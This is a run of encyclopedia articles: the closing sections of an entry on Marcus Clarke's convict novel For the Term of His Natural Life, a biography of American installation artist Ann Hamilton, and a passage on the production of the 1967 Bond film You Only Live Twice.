North, in the meantime, has had to realise the true nature of his affection for Sylvia. At first, he attempts to keep away from her, but this unfriendliness is ill-received by Frere, who gets his revenge on the convicts open to North's words, especially on Dawes. One day, Sylvia has gone to see Dawes. She has not been able to stop thinking about him as she feels that there is more to the story than she knows. She finds Dawes on the "stretcher" and orders his release. Frere is furious when he learns about it and strikes Sylvia, despite North's presence. North has sent his resignation two months previously. Sylvia had already decided to go and see her father to escape the grievances of her life on the Island. The two admit their feelings for one another but decide to keep quiet until they can sail. North visits Dawes and learns the true story of the mutiny and rescue. He promises to tell Sylvia Dawes' story but does not.
Meanwhile, Sarah has found John Rex in London. He has led a life of debauchery, much to the disapproval of Lady Ellinor. Sarah threatens to denounce John if he does not introduce her as his wife. Ever since Rex wanted to sell the family house, Lady Ellinor's suspicions have reached the point where she attempts to test her alleged son. When she forbids him to sell the house, Rex says that it only is his right to do so. Lady Ellinor tells him that he has no rights to anything since Richard Devine was a bastard, the son of Lord Bellasis. Rex suddenly understands their strange resemblance: he is also a son of Lord Bellasis; his mother was a servant in his house. Rex confesses to the murder of Lord Bellasis, who laughed at him when told this story. Lady Ellinor promises Sarah to allow them to leave the country in exchange for information about her son. Sarah manages to get them both aboard a vessel bound for Sydney, but Rex dies of a stroke during the voyage.
Shortly before leaving, North visits Dawes to confess that he never talked to Sylvia because he is himself in love with her. Dawes tells the priest that he knows nothing about love and recounts his own story to illustrate his words. North confesses to having been the one who robbed the corpse of Lord Bellasis, as the Lord held proofs against North, who had been forging bank notes. Begging forgiveness again, North leaves in great confusion, forgetting his hat and cloak. Dawes manages to get out and on the boat in this disguise as the drunken warder has not closed his cell door. North observes him leaving and decides that it is for the best. The ship on which Dawes and Sylvia sail soon gets into a storm. Sylvia, seeking comfort from the reverend, finds Dawes in his place, and now remembers the past as the gale reaches its greatest force.
The next morning finds their entangled corpses on a piece of planking from the sunken ship.
List of locations described in the novel
Macquarie Harbour Penal Station
Hell's Gates
Frenchmans Cap
Hobart
Port Arthur, Tasmania
Isle of the Dead
Eaglehawk Neck, Tasmania
Norfolk Island
Publication history
For the Term of His Natural Life was originally published in twenty seven instalments in The Australian Journal between March 1870 and June 1872. It was collected into a novel and published as His Natural Life in 1874, and then republished under the longer title For the Term of His Natural Life in 1884. A complete reprint of the serialised edition was printed in 1970 by Penguin.
Literary significance and criticism
The book was favourably reviewed in London by the Athenaeum, Spectator, Vanity Fair, The Graphic, The Standard and the Morning Post.
It is considered one of the first examples of Tasmanian Gothic literature.
Eventually, the novel became known as For the Term of His Natural Life but, originally, Clarke wanted the shorter title to suggest that this story was about the universal human struggle and the future Australian race. He wanted to celebrate the survival of the human spirit in the direst circumstances. With its cruelty and systemic violence, this book, more than any other, has come to define the Australian convict past.
Adaptations
The book had been translated into German by 1877. The German title was Deportirt auf Lebenszeit (Deported for Life) and it was published in Berlin by the house of Otto Janke. It was a pirated edition for which Clarke received no payment. The translation was reissued in Frankfurt in 1974. For the Term of his Natural Life has also been translated into Dutch, Russian, Swedish and Chinese. Numerous editions were published in Britain and the United States.
A stage adaptation, His Natural Life was written by George Leitch in 1886 and opened on 26 April 1886 at the Theatre Royal, Brisbane, played by the MacMahon and Leitch dramatic company.
Alfred Dampier subsequently toured the Leitch play, and another writer, Inigo Tyrrell (or Tyrrell Weekes, Frederick Weeks) wrote a play For the Term of His Natural Life which was published and performed six weeks later. He applied, unsuccessfully, for an injunction to prevent Leitch's version from being performed at the Theatre Royal, Melbourne.
Of the two authors, Leitch was the only one to seek permission from Clarke's widow, and the only one to enter a royalty agreement.
The Majeroni dramatic company toured New Zealand and some states of Australia with the Leitch play in 1903 and 1904, starring George Majeroni as Dawes and Mario Majeroni as Rae.
Tyrrell's version subsequently played at the Adelphi Theatre, London, and the Alcazar Theatre, San Francisco.
MacMahon also used the novel as the basis for one of Australia's first full-length motion picture films, produced in 1908 (22 minutes).There was another version in 1911, The Life of Rufus Dawes, based on Alfred Dampier's popular stage adaptation of the novel.
The best-known film version came in 1927, featuring silent screen stars George Fisher and Eva Novak. It also included British actor Edward Howell who went on to be an Australian radio, stage and television actor based in Sydney. Clarke's daughter, actress Marion Marcus Clarke (1876-1958), had a part in the movie.
The novel was adapted for Australian radio in 1935.
An Australian mini-series, For the Term of His Natural Life was written and produced by Patricia Payne and Wilton Schiller in 1983 starring Colin Friels as Dawes and featuring Anthony Perkins and Patrick Macnee. The 21-year-old composer Simon Walker was chosen to produce a lavish orchestral score, released by 1M1 Records. This version is based on the US edition.
In popular culture
The Australian movie His Convict Bride or For the Term of Her Natural Life (1918) also alluded to Clarke's work.
The title of Chopper Reads forth book Chopper 4: For the Term of His Unnatural Life alludes to the work.
After a 2000 visit to Port Arthur, American singer-songwriter Rod MacDonald wrote and recorded "John King," a song about a real inmate at Port Arthur Prison, with "You're here in Port Arthur for the rest of your natural life" as the concluding line of each chorus. Like the fictional Rufus Dawes, John King may have been wrongly convicted, yet spent his life in the prison. The song appears in MacDonald's 2011 release Songs Of Freedom and in Big Brass Bed's "Dylan Jam + 2" (2009).
In 2012, Melbourne-based artist Philip Davey showed a series of works inspired by the book under the exhibition name "This Fantastic Land of Monstrosities". In 2013, Patricia Payne reintroduced For the Term of His Natural Life in the form of an interactive iPad app
See also
Convicts on the West Coast of Tasmania
References
Note that many different editions of this book exist. Dr Lurline Stuart (PhD), Research Associate at the National Centre for Australian Studies at Monash University, has produced an edition that shows a core text and the variations, with detailed commentary, from the other texts that were produced during Clarke's life. See http://hass.unsw.adfa.edu.au/ASEC/HNL_Blurb.html
Clarke, Marcus For the Term of His Natural Life Adelaide : Rigby, Seal books edition, 1970.
Other editions – South Yarra, Vic. : Claremont Book, 1990. :
The entire text exists online at http://web.srv.adfa.edu.au/JITM/HNL/Annotation_Viewer.html and http://ebooks.adelaide.edu.au/c/clarke/marcus/c59f/index.html
Clarke, Marcus For the Term of His Natural Life Sydney: HarperCollinsPublishers, A&R Classics edition, 2002.
This edition contains various typographical errors throughout the text.
Australian Classics: Marcus Clarke's His Natural Life, The Book Show, ABC Radio National 10 August 2009
External links
1874 novels
1874 in Australia
19th-century Australian novels
Fiction set in 1827
Fiction set in 1833
Fiction set in 1838
Fiction set in 1846
Novels set in the 1820s
Novels set in the 1830s
Novels set in the 1840s
Convictism in Australia
Western Tasmania
Novels set in Tasmania
Australian novels adapted into plays
Australian novels adapted into films
Cannibalism in fiction
Victorian novels
Works originally published in Australian magazines
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5078490
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https://en.wikipedia.org/wiki/Ann%20Hamilton%20%28artist%29
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Ann Hamilton (artist)
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Ann Hamilton is an American visual artist who emerged in the early 1980s known for her large-scale multimedia installations. After receiving her BFA in textile design from the University of Kansas in 1979, she lived in Banff, Alberta, and Montreal, Quebec, Canada before deciding to pursue an MFA in sculpture at Yale in 1983. From 1985 to 1991, she taught on the faculty of the University of California at Santa Barbara. Since 2001, Hamilton has served on the faculty of the Department of Art at the Ohio State University. She was appointed a Distinguished University Professor in 2011.
Personal life
Ann Hamilton was born in Lima, Ohio. She attended St. Lawrence University from 1974–1976; University of Kansas, BFA in Textile Design, 1979; Yale School of Art, MFA in Sculpture, 1985. Currently she resides in Columbus, Ohio, with her husband Michael Mercil, also an artist.
Themes and inspiration
Though Hamilton studied textile design throughout her undergraduate career, she pointedly decided to focus on sculpture instead of weaving as a concentration in graduate school. She claims that, when making that decision, she was “interested in the relationships between things in space. And more important than the things themselves is the way they come into relation.” While in Canada, and while teaching at UC Santa Barbara, Hamilton began creating an interdisciplinary art with textiles "weaved" with photography and performance; often resulting in different elements combined in an image or includes textiles like pressed shirts or work uniforms.
In addition to her educational background. She identifies herself as a reader: of space, of objects, of literary criticism, of poetry, and even of dictionaries; thus, the act of reading, words, and books often make their way into her installations, videos, and created objects. Her work also explores themes of humanity, from gender and the body to suffering and power. As a conceptual artist working with video, sound, and interactive installation, the elements of time, change, and decay also play roles in her work. Hamilton's installations are meant to be experienced with all the senses, often incorporating elements like sound and smell that urge the viewer to connect with and engage the work on a multi-sensory level. Her works also often respond to the spaces and cities in which they are created, using objects that reflect the history and identity of the culture.
Select works
1984–1990
suitably positioned
One of Hamilton's first installations, suitably positioned, 1984, set the tone for her later works, encompassing many of her artistic methods: installation, object-making, photography, and performance. For this piece, she constructed a suit made of a men's thrift-store suit and toothpicks. She then stood, wearing the suit, for the duration of the installation within the studio with viewers walking around the artist without interacting with her. The suit was originally made as a part of a work titled room in search of a position, which, after exhibition, Hamilton believed didn't reach pictorial success and decided to rethink her use of these made objects. However, Hamilton later incorporated the toothpick suit into an installation titled suitably positioned, which finally created a connection between the object, a suit, and the figure, herself within the suit. This installation was directly associated with her body object series.
body object series
While working on suitably positioned, Hamilton began to think about her subject matter differently, hoping to create an installation that "demonstrates a relation instead of making a picture of a relation." This thinking led Hamilton to begin creating her body object series, a collection of photographs first produced in 1984 with further editions produced in 1987, 1994, and 2006. Working with photographer Bob McMurtry on the series, Hamilton shot photographs of herself wearing constructed objects like her toothpick suit. The coverings of the body in these photographs represent what Hamilton calls, "the articulation of the self at the boundaries of the body."
privation and excesses
In San Francisco, Hamilton exhibited privation and excesses as a part of the Capp Street Project in 1989. The artist used $7,500 worth of pennies to cover a large portion of the gallery floor stuck to the surface by a thin coating of honey. In a chair on the edge of the field of honey and pennies, a figure (sometimes the artist herself) sat, wringing their hands in a hat full of honey.
palimpsest
In collaboration with Kathryn Clark, the palimpsest installation was part of a group exhibition at The New Museum of Contemporary Art, New York, "Strange Attractors: Signs of Chaos" in 1989. The installation was organized into two zones, one that demonstrated memory lost and the other memory experienced. The first was in the museum's street-side window-display space, whose back and side walls were covered with block-printed texts, using shoe polish as ink. On a tall stool, under a broken strand of nichrome wire, a felt hat sat upended covered in beeswax and graphite. The second part of the installation was a room that visitors could enter, filled with the scent of beeswax and the sound of paper fluttering. The inner walls of the enclosed space were covered with small pieces of faded newsprint with handwritten memories, each attached with a single tack, constantly rustling from a fan affixed above the doorway. In the center of the room stood a vitrine made of steel and glass, inside which there were two cabbages, reminiscent of cerebral hemispheres, being devoured by a colony of snails.
1991–2000
indigo blue
indigo blue, one of Hamilton's best-known works was first exhibited in a garage near the public market in Charleston, South Carolina, in 1991. She created the piece as a commissioned work as a part of the Places with a Past exhibition within the Spoleto Festival, in which artists chose a site and responded to both the historical and current context of the city. The installation was an homage to labor, respectfully commenting on and remembering the process of manual work through sculptural elements like a pile of 47,000 blue work uniforms and sacks full of soybeans hanging on a wall. Behind the stacked uniforms, a writer sat at another table, applying an eraser and saliva to small, blue-covered books, working one by one from back to front to remove the writing within, leaving the eraser shavings to accumulate within the books throughout the duration of the installation. This action of erasing the past served as another memory of labor, and the names embroidered on the shirts echoed the history of the laborers living in the city. The back wall held the hanging bags of soybeans that slowly spilled and began to sprout from the humid air within the space, calling attention to the atmosphere of South Carolina. The title of the exhibition, as well as the incorporation of blue objects, likewise referenced Charleston's history and indigo's economic significance as a plant and dye in the city. The work was later acquired and exhibited by the San Francisco Museum of Modern Art in 2007.
tropos
In 1993 she performed her piece tropos at Dia Center for the Arts. The Greek word tropos indicates a turn, physically or figuratively. For the art piece, Hamilton covered the entire warehouse floor with varying colored interwoven horse hair. She sat at a small table, located in the middle of the room. While sitting at the table, she studiously burned each word from a book with an electric heated coil.
Allegheny Riverfront Park
(1993–2001) Between this time period, numerous designers and artists including Ann Hamilton came together to create a new park design for Allegheny Riverfront Park in Pittsburgh, Pennsylvania. This park would include a lower level that would be thirty five feet wide and nearly a mile long, as well as an upper level that would travel along Fort Dusquesne Boulevard. While knowing that the city had traffic, the artists wanted to keep true to the busy city aspect as well as create beauty in nature. They would create a board walk with trees following all the way down, stone edge that would be used as places to sit, overall the artists intended to create a peaceful place with a beautiful view of the city.
2001–2010
the picture is still
This video was exhibited in Taura, Japan in 2001. To create the video, Hamilton used a small surveillance camera positioned very near a black-and-white photograph of her son, over which she moved her hand in a continuous, slow motion. Because of the camera's position, the small lens, and the movement of her hand, which she calls "hand-seeing," the image in the video is often abstract and out of focus, a blur of mouths and noses. The artist claims that the movement illustrates that "the picture is still...as in not moving...but also as in 'still here'...the way history haunts and inhabits the present."
human carriage
The Solomon R. Guggenheim Museum's 2009 exhibition The Third Mind invited various American artists to contemplate and represent the ways in which Asian literature, art, and philosophy are incorporated into, changed by, and transform American cultural trajectories. Hamilton participated in the exhibition, creating an installation entitled human carriage. The artist's installation reflected her interests in humanity, language, text, and physical material and referenced the movement and transmission of cultural information and identity through the use of books and a manual mechanism of travel. The artist tied together cross-sections of book volumes, which she called "book weights," that were stored in piles at the top of the museum. The book weights were then attached to a pulley system "carriage" operated by a "reader" at the top of the museum who manually returned the carriage to the bottom of the rotunda where the bound books accumulated in a pile. Along the building's existing spiral ramps, Hamilton also constructed a spiraling pipe that acted as a travel mechanism for a smaller bell carriage that housed Tibetan cymbals. Prior to each book weight's descent, the "reader" released this bell carriage so that it slid along the pipe, filling the space with ringing as it spiraled through the rotunda before meeting the books at the end of the ramp.
2011–2018
the event of a thread
In 2012, Hamilton exhibited her installation the event of a thread at the Park Avenue Armory in New York City. The installation featured a white curtain punctuated by large swings that spanned the 55,000 square feet of space. The installation, like many of Hamilton's works, changed over time, involving the audience in an interconnected, multi-sensory experience of space. For this installation, the artist involved the use of radios in paper bags that were available for viewers to carry around; the audio on these radios was broadcast by two actors from the theater company SITI who read selections of text by various authors at one end of the room. On the other end, a writer sat at a desk, writing sentences. The artwork changed day to day; the murmurs, cell phone rings, and laughs of the viewers, as well as the sounds of reading, writing, and cooing pigeons, while the viewers’ swinging swayed the curtain. The audience was able to interact the space in ways such as: swinging, looking in through a window, lying on the ground, or walking through the exhibition.
the common S E N S E
Hamilton was commissioned by museum director Sylvia Wolf to create new works for a museum-wide exhibition at the Henry Art Gallery in Seattle called the common S E N S E. Hamilton drew from collections at the Burke Museum of Natural History and Culture and holdings in the University of Washington Libraries Special Collections to create an exhibition about animals, the commonalities we share with animals, and our uses to animals.
Cortlandt Street subway station project
The New York City Metropolitan Transportation Authority Arts and Design Program commissioned Hamilton to create an art project as a part of the reconstruction of Manhattan's Cortlandt Street subway station that was destroyed on September 11, 2001. This project, to be completed by 2018, is similar to her previous work, VERSE, in that it weaves together words, but in this specific case uses texts from notable historical documents like the Declaration of Independence and the Universal Declaration of Human Rights. The text is white and appears upon or within the surface of the white walls of the station, covering up to 70 percent of the walls' surface. As in much of her work, Hamilton intends this project to be experienced rather than simply viewed. Intended for each person travelling through the station to have a different relationship with these words.
O N E E V E R Y O N E
Hamilton photographs numerous different people of all different races and ethnicity through a semi-transparent membrane or window. The only time the view could see an image clearly was when the person would touch the membrane. On two opposite sides, Hamilton would instruct the subject to move how she wanted, solely relying on her voice to instruct them. Hamilton feels as if this relates to the medical field in always waiting for answers, check ups, and having a semi blinded sense of what is going on and just relying on a voice, no physical person.
Select exhibitions
Hamilton has exhibited around the world, including:
The Museum of Contemporary Art, Los Angeles (1988)
Dia Center for the Arts, New York (1993)
Tate Gallery, Liverpool (1994)
The Museum of Modern Art, New York (1994)
The Art Institute of Chicago (1995)
The Stedelijk Van Abbemuseum, Eindhoven, The Netherlands (1996)
The Musee d'art Contemporain, Lyon, France (1997)
Akira Ikeda Gallery, Taura, Japan (2001)
The Wanas Foundation, Knislinge, Sweden (2002)
The Hirshhorn Museum and Sculpture Garden, Washington D.C. (2003, 1991)
MASS MoCA, North Adams, Massachusetts (2003)
Historiska Museet, Stockholm, Sweden (2004)
La Maison Rouge Fondation de Antoine Galbert, Paris, France (2005)
Contemporary Art Museum, Kumamoto, Japan (2006)
The Guggenheim Museum, New York (2009)
The Pulitzer Arts Foundation, St. Louis (2010)
Spencer Museum of Art, Lawrence, KS (2013)
The Fabric Workshop and Museum, Philadelphia, PA (2016)
Select works
the event of a thread (2012)
VERSE (2011)
stylus (2010)
human carriage (2009)
The Meditation Boat (2005–2009)
tower · Oliver Ranch (2007)
voce (2006)
phora (2005)
corpus (2004)
Teardrop Park, a collaboration with Michael Mercil and Michael Van Valkenburgh (2004)
LEW wood floor at the Seattle Public Library (2004)
lignum (2002)
Allegheny Park, a collaboration with Michael Mercil and Michael Van Valkenburgh (1993-2001)
the picture is still (2001)
ghost....a border act (2000)
(1999)
mattering (1997)
lineament (1994)
tropos (1994)
indigo blue (1991/2007)
privation and excesses (1989)
still life (1988)
Selected group exhibitions
Rites of Spring, Twining Gallery, New York, 1985
Elements, Whitney Museum of American Art at Philip Morris, New York, 1987
Stranger Attractors: Signs of Chaos, New Museum of Contemporary Art, New York, 1989
New Works for New Spaces, Wexner Center for the Visual Arts, Columbus, Ohio, 1990
Permanent public installations
Mess Hall, Headlands Center for the Arts, Sausalito, California, 1989
San Francisco Public Library Commission (collaboration with James Freed, Kathy Simon, and Ann Chamberlain), 1990
Pittsburgh River Front Park (collaboration with Michael Van Valkenburgh, Michael Mercil, and Matthew Urbansky), 1994
Awards
Heinz Award in the Arts and Humanities (2008), United States Artists Fellowship (2007), Environmental Design Research Association Place Design Award (2002), American Society of Landscape Architects Design Award (2002), the Larry Aldrich Foundation Award (1998), Progressive Architecture Citation Award (1997), the Wexner Center for the Arts Residency (1995), NEA Visual Arts Fellowship (1993), MacArthur Fellowship (1993) Skowhegan Medal for Sculpture (1992), the Louis Comfort Tiffany Foundation Award (1990), Award in the Visual Arts 9 (1990), the Guggenheim Memorial Fellowship (1989), and the Bessie Award, New York Annual Award in the Performing Arts (1988).
Recognition
Hamilton has been the recipient of the 14th Annual Heinz Award in the Arts and Humanities,
United States Artists Fellowship,
Bessie Award in 1988,
National Endowment for the Arts Visual Arts Fellowship,
Anonymous Was a Woman Award,
Louis Comfort Tiffany Foundation Award,
Skowhegan Medal for Sculpture,
Guggenheim Memorial Fellowship,
MacArthur Fellows Program "Genius Grant",
In 2014, Ohio State University announced that it was compiling an archive called the Ann Hamilton Project Archive, which will maintain images of more than 35 of Hamilton's installations. And in September 2015, Hamilton received the National Medal of Arts.
Further reading
Hamilton, Ann. (1996). The body and the object: Ann Hamilton, 1984–1996. Columbus, OH: Wexner Center for the Arts.
Simon, Joan and Hamilton, Ann. (2002). Ann Hamilton. New York: Harry N. Abrams.
Simon, Joan and Hamilton, Ann. (2006). Ann Hamilton: An Inventory of Objects. New York: Gregory R. Miller & Co.
References
External links
Biography, interviews, essays, artwork images and video clips from PBS series Art:21 -- Art in the Twenty-First Century, Season 1 (2001)
Gund Art Foundation Fellows 2007
United States Artists Arts Advocacy Organization
Article and streaming video of Ann Hamilton and her tower at the Oliver Ranch, from KQED Spark
Ann Hamilton at Gemini GEL, Los Angeles
Ann Hamilton's interview with Robert Ayers, February 2009
1956 births
Photographers from Ohio
American printmakers
Artists from Ohio
Franklin Furnace artists
American installation artists
Living people
MacArthur Fellows
People from Lima, Ohio
University of California, Santa Barbara faculty
University of Kansas alumni
Yale School of Art alumni
American women printmakers
21st-century American women photographers
21st-century American photographers
Members of the American Academy of Arts and Letters
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5078515
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https://en.wikipedia.org/wiki/You%20Only%20Live%20Twice%20%28film%29
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You Only Live Twice (film)
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You Only Live Twice is a 1967 spy film and the fifth in the James Bond series produced by Eon Productions, starring Sean Connery as the fictional MI6 agent James Bond. It is the first Bond film to be directed by Lewis Gilbert, who later directed the 1977 film The Spy Who Loved Me and the 1979 film Moonraker, both starring Roger Moore. The screenplay of You Only Live Twice was written by Roald Dahl, and loosely based on Ian Fleming's 1964 novel of the same name. It is the first James Bond film to discard most of Fleming's plot, using only a few characters and locations from the book as the background for an entirely new story.
In the film, Bond is dispatched to Japan after American and Soviet crewed spacecraft vanish mysteriously in orbit, each nation blaming the other amidst the Cold War. Bond travels secretly to a remote Japanese island to find the perpetrators, and comes face-to-face with Ernst Stavro Blofeld, the head of SPECTRE. The film reveals the appearance of Blofeld, who was previously only seen from the neck down. SPECTRE is working for the government of an unnamed Asian power, implied to be the People's Republic of China, to provoke war between the superpowers.
During the filming in Japan, it was announced that Sean Connery would retire from the role of Bond, but after one film's absence, he returned in 1971's Diamonds Are Forever and later 1983's non-Eon Bond film Never Say Never Again. You Only Live Twice received positive reviews and grossed over $111 million in worldwide box office. However, it was the first Bond film to see a decline in box-office revenue, owing to the oversaturation of the spy film genre from Bond imitators, including a competing Bond film, Casino Royale, from Columbia Pictures (1967). The Bond series continued with On Her Majesty's Secret Service in 1969, the first film without Sean Connery in the lead role.
Plot
American NASA spacecraft Jupiter 16 is hijacked from orbit by an unidentified spaceship. The United States suspects it to be the work of the Soviets, but the British suspect Japanese involvement since the spacecraft landed in the Sea of Japan. To investigate, MI6 operative James Bond is sent to Tokyo, after faking his own death in Hong Kong and being buried at sea from .
While attending a sumo tournament, Bond is approached by Japanese secret service agent Aki, who takes him to meet local MI6 operative Dikko Henderson. Henderson claims to have critical evidence about the spacecraft, but is killed by a hitman before he can elaborate. Bond kills the assailant, taking his clothing as a disguise, and is driven in the getaway car to Osato Chemicals. Once there, Bond subdues the driver and breaks into the office safe of the company's president, Mr. Osato. After obtaining secret documents, Bond is pursued by security and rescued by Aki, who flees to a secluded subway station. Bond chases her, but falls down a trap door leading to the office of the head of the Japanese secret service, Tiger Tanaka. The documents are examined. They include a photograph of the cargo ship Ning-Po, with a microdot message saying the tourist who took the photo was killed as a security precaution.
Bond goes back to Osato Chemicals to meet Osato, masquerading as a potential buyer. Osato humors Bond, but after their meeting orders his secretary, Helga Brandt, to kill him; both are SPECTRE agents. Outside the building, assassins open fire on Bond before Aki rescues him again. Bond and Aki drive to Kobe, where the Ning-Po is docked. They investigate the company's dock facilities and discover the ship was delivering elements for rocket fuel. They are discovered, but Bond eludes the henchmen until Aki gets away; however, Bond is captured. He wakes, tied up in Brandt's cabin on the Ning-Po. Brandt interrogates Bond, before seducing him. Brandt flies Bond to Tokyo the next day, but en route, she sets off a flare in the plane, seals Bond in his seat and bails out. Bond lands the plane and flees before it explodes.
After finding out where the Ning-Po unloaded, Bond flies over the area in an armed autogyro created by Q. Near a volcano, Bond is attacked by and defeats four helicopters, confirming his suspicions of a nearby base. A Soviet spacecraft is captured in orbit by another unidentified craft, heightening tensions with the United States. The mysterious spaceship lands in a base hidden inside the volcano, operated by Ernst Stavro Blofeld of SPECTRE, who has been hired by a great power to start a Soviet-American war. Blofeld summons Osato and Brandt to his quarters for not having killed Bond; Osato blames Brandt, who leaves. Blofeld eventually drops her into a pool filled with piranhas.
In Kyoto, Bond prepares to conduct a closer investigation of the island by training with Tanaka's ninjas and donning a Japanese disguise, which will include a staged marriage to an Ama diver. Aki is poisoned to death by a SPECTRE assassin targeting Bond, who is introduced to Tanaka's student, Kissy Suzuki. She will perform the role of his wife. Acting on Kissy's lead, the pair reconnoitre a cave booby-trapped with phosgene gas, and the volcano above it. The volcano's mouth is a disguised entrance to the secret rocket base. Bond slips while Kissy goes to alert Tanaka. Bond locates and frees the captured American and Soviet astronauts and, with their help, steals a space suit to infiltrate the SPECTRE spacecraft, "Bird One". However, Blofeld spots Bond, who is detained while Bird One is launched. Bond is taken into the control room where he meets Blofeld, who kills Osato to demonstrate the price of failure.
Bird One closes in on an American space capsule, and U.S. forces prepare to launch a nuclear attack on the Soviet Union. Meanwhile, Tanaka's ninjas approach the base's entrance, but are detected and fired upon. Bond distracts Blofeld and lets in the ninjas. During the battle, Tanaka saves Bond by disarming Blofeld with his shuriken. Bond fights his way to the control room, tosses Blofeld's bodyguard Hans into the piranha pool, and activates Bird One self-destruct before it reaches the American capsule. As the Americans stand down their forces, Blofeld activates the base's self-destruct system and escapes. Bond, Kissy, Tanaka, and the surviving ninjas leave before the eruption destroys the base, and are picked up by the Japanese Maritime Forces and the British Secret Service.
Cast
Sean Connery as James Bond, an MI6 agent
Akiko Wakabayashi as Aki, an agent with the Japanese SIS who assists Bond
Tetsurō Tamba as Tiger Tanaka, head of Japanese secret service (voice dubbed by Robert Rietty).
Mie Hama as Kissy Suzuki, an ama girl who marries Bond as an undercover ploy; she is never referred to by name
Nikki van der Zyl (uncredited) as the voice of Kissy Suzuki
Karin Dor as Helga Brandt/No. 11, a SPECTRE assassin
Lois Maxwell as Miss Moneypenny, M's secretary
Desmond Llewelyn as Q, head of MI6 technical department
Charles Gray as Dikko Henderson, British contact living in Japan. Gray would later play Blofeld in Diamonds Are Forever, opposite Sean Connery.
Bernard Lee as M, the head of MI6
Donald Pleasence as Ernst Stavro Blofeld, the megalomaniacal head of the terrorist syndicate known as SPECTRE
Production
On Her Majesty's Secret Service was the intended next film after Thunderball (1965), but the producers decided to adapt You Only Live Twice instead because OHMSS would require searching for high and snowy locations. Lewis Gilbert originally declined the offer to direct, but accepted after producer Albert R. Broccoli called him saying: "You can't give up this job. It's the largest audience in the world." Peter R. Hunt, who edited the first five Bond films, believed that Gilbert had been contracted by the producers for other work but they found they had to use him. Ted Moore, the director of photography on the first four films, was unavailable because he was filming A Man for All Seasons and was replaced by Freddie Young.
Gilbert, Young, producers Broccoli and Harry Saltzman, and production designer Ken Adam then went to Japan, spending three weeks searching for locations. SPECTRE's shore fortress headquarters was changed to an extinct volcano after the team learned that the Japanese do not build castles by the sea. The group was due to return to the UK on a BOAC Boeing 707 flight (BOAC Flight 911) on 5 March 1966, but cancelled after being told they had a chance to watch a ninja demonstration. That flight crashed 25 minutes after takeoff, killing all on board. In Tokyo, the crew also found Hunt, who decided to go on holiday after having his request to direct declined. Hunt was invited to direct the second unit for You Only Live Twice and accepted the job.
Unlike most James Bond films, which usually feature various locations around the world, almost the entire film is set in one country, and several minutes are devoted to an elaborate Japanese wedding. This is in keeping with Fleming's original novel, which also devoted a number of pages to the discussion of Japanese culture. Toho Studios provided soundstages, personnel, and the female Japanese stars to the producers.
Writing
The first draft was written by Sydney Boehm based closely on the original novel. The producers had Harold Jack Bloom come to Japan with them to write a screenplay. His work was ultimately rejected, but since several of his ideas were used in the final script, he was given the credit of "Additional Story Material". Among these elements were the opening with Bond's fake death and burial at sea, and the ninja attack. As the screenwriter of the previous Bond films, Richard Maibaum, was unavailable, Roald Dahl (a close friend of Ian Fleming) was chosen to write the adaptation, despite having no prior experience writing a screenplay except for the uncompleted The Bells of Hell Go Ting-a-ling-a-ling.
Dahl said that the original novel was "Fleming's worst book, with no plot in it which would even make a movie", and compared it to a travelogue, stating that he had to create a new plot though "I could retain only four or five of the original story's ideas." On creating the plot, Dahl said he "did not know what the hell Bond was going to do" despite having to deliver the first draft in six weeks, and decided to do a basic plot similar to Dr. No. He was inspired by the story of a missing nuclear-armed U.S. Air Force bomber over Spain and by the Soviet Union and the United States' recent first spacewalks from Voskhod 2 and Gemini 4. Dahl was given a free rein on his script, except for the character of Bond and "the girl formula", involving three women for Bond to seduce – an ally and a henchwoman who both get killed, and the main Bond girl. While the third involved a character from the book, Kissy Suzuki, Dahl had to create Aki and Helga Brandt to fulfil the rest.
Gilbert was mostly collaborative with Dahl's work, as the writer declared: "He not only helped in script conferences, but had some good ideas and then left you alone, and when you produced the finished thing, he shot it. Other directors have such an ego that they want to rewrite it and put their own dialogue in, and it's usually disastrous. What I admired so much about Lewis Gilbert was that he just took the screenplay and shot it. That's the way to direct: You either trust your writer or you don't."
Charles Gray, who played Dikko Henderson, actually says the famous "shaken not stirred" line the other way round saying "that is stirred not shaken, that was right wasn't it?" Bond replies "Perfect."
Casting
When the time came to begin You Only Live Twice, the producers were faced with the problem of a disenchanted star. Sean Connery had stated that he was tired of playing James Bond and all of the associated commitment (time spent filming and publicising each movie), together with finding it difficult to do other work, which would potentially lead to typecasting. Saltzman and Broccoli were able to persuade Connery by increasing his fee for the film, but geared up to look for a replacement.
Jan Werich was originally cast by producer Harry Saltzman to play Blofeld. Upon his arrival at the Pinewood set, both producer Albert R. Broccoli and director Lewis Gilbert felt that he was a poor choice, resembling a "poor, benevolent Father Christmas". Nonetheless, in an attempt to make the casting work, Gilbert continued filming. After several days, both Gilbert and Broccoli determined that Werich was not menacing enough, and recast Blofeld with Donald Pleasence in the role. Pleasence's ideas for Blofeld's appearance included a hump, a limp, a beard, and a lame hand, before he settled on the scar. He found it uncomfortable, though, because of the glue that attached it to his eye.
Many European models were tested for Helga Brandt, including German actress Eva Renzi who passed on the film, with German actress Karin Dor being cast. Dor performed the stunt of diving into a pool to depict Helga's demise, without the use of a double. Dor was dubbed by a different actress for the German release.
UA CEO Bud Ornstein met with Toshiro Mifune in the Canary Islands to try to convince him to play Tiger Tanaka, but he was already committed to appear in Grand Prix. Gilbert had chosen Tetsurō Tamba after working with him in The 7th Dawn. A number of martial arts experts were hired as the ninjas. The two Japanese female parts proved difficult to cast, due to most of the actresses tested having little English. Akiko Wakabayashi and Mie Hama, both Toho Studios stars, were eventually chosen and started taking English classes in the UK. Hama, initially cast in the role of Tanaka's assistant, had difficulty with the language. Initially the producers were going to fire her, but after Tamba suggested she would commit suicide if they did so instead switched her role with Wakabayashi, who had been cast as Kissy, a part with less dialogue. Wakabayashi only requested that her character name, "Suki", be changed to "Aki".
Filming
Filming of You Only Live Twice lasted from July 1966 to March 1967.
The film was shot primarily in Japan, and most of the locations are identifiable.
In summary:
Tokyo: After arriving in Japan at Akime, Bond goes to Tokyo. The initial scenes are set in and around the Ginza area. The Hotel New Otani Tokyo served as the outside for Osato Chemicals, and the hotel's gardens were used for scenes of the ninja training. A car chase using the Toyota 2000GT and a Toyota Crown was largely filmed in the area around the Olympic Stadium used previously for the 1964 Summer Olympics. Tokyo Tower and the centre of Tokyo can be briefly seen in a sequence where the villain's car is dropped in Tokyo Bay. Tanaka's private subway station was filmed at the Tokyo Metro's Nakano-shimbashi Station. A sumo wrestling match was filmed at Tokyo's sumo hall, the Kuramae Kokugikan; this has since been demolished.
Kobe Docks appears in a sequence when Bond investigates the ship Ning-Po, and is involved in a fight.
Bond's wedding at a Shinto Shrine was filmed in Nachi.
Himeji Castle in Hyōgo Prefecture was depicted as Tanaka's ninja training camp.
